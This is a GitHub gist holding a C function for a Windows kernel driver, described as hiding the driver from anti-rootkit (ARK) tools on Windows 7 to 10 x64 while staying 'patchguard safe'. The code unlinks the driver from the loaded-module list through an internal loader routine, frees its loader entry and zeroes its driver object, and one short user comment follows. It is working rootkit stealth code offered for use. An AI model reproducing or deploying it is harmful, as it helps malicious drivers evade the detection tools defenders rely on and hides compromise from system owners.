Skip to content

Instantly share code, notes, and snippets.

@typcn
Last active January 4, 2024 15:06
Show Gist options
  • Save typcn/5525e9b124097d0943645f6ef856db78 to your computer and use it in GitHub Desktop.
Save typcn/5525e9b124097d0943645f6ef856db78 to your computer and use it in GitHub Desktop.
Hide Driver from ARK tools ( win7 -- win10 x64, patchguard safe )
VOID DrvObjHide(_In_ PVOID Context) {
// Wait the driver fully loaded
NTSTATUS status = STATUS_SUCCESS;
INT64 interval = 1000 * -10000i64;
status = KeDelayExecutionThread(KernelMode,FALSE,(PLARGE_INTEGER)&interval);
PDRIVER_OBJECT driver_object = (PDRIVER_OBJECT)Context;
tMiProcessLoaderEntry fun = (tMiProcessLoaderEntry)FindMiProcessLoaderEntry();
// MiProcessLoaderEntry will remove your driver from PsLoadedModuleList, and the patchguard moniting context.
// So it won't trigger a BSOD
fun(driver_object->DriverSection,FALSE);
PLDR_DATA_TABLE_ENTRY DataTableEntry = (PLDR_DATA_TABLE_ENTRY)driver_object->DriverSection;
DataTableEntry->LoadCount -= 1;
if (DataTableEntry->FullDllName.Buffer != NULL) {
ExFreePool(DataTableEntry->FullDllName.Buffer);
}
if (DataTableEntry->SectionPointer != NULL) {
ObDereferenceObject(DataTableEntry->SectionPointer); // dereference the driversection
}
ExFreePool(DataTableEntry);
ExFreePool(driver_object->DriverName.Buffer);
RtlSecureZeroMemory(driver_object, sizeof(DRIVER_OBJECT));// zero the driver object
}
@krjan02
Copy link

krjan02 commented May 27, 2019

what the fuck is "fun"

Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment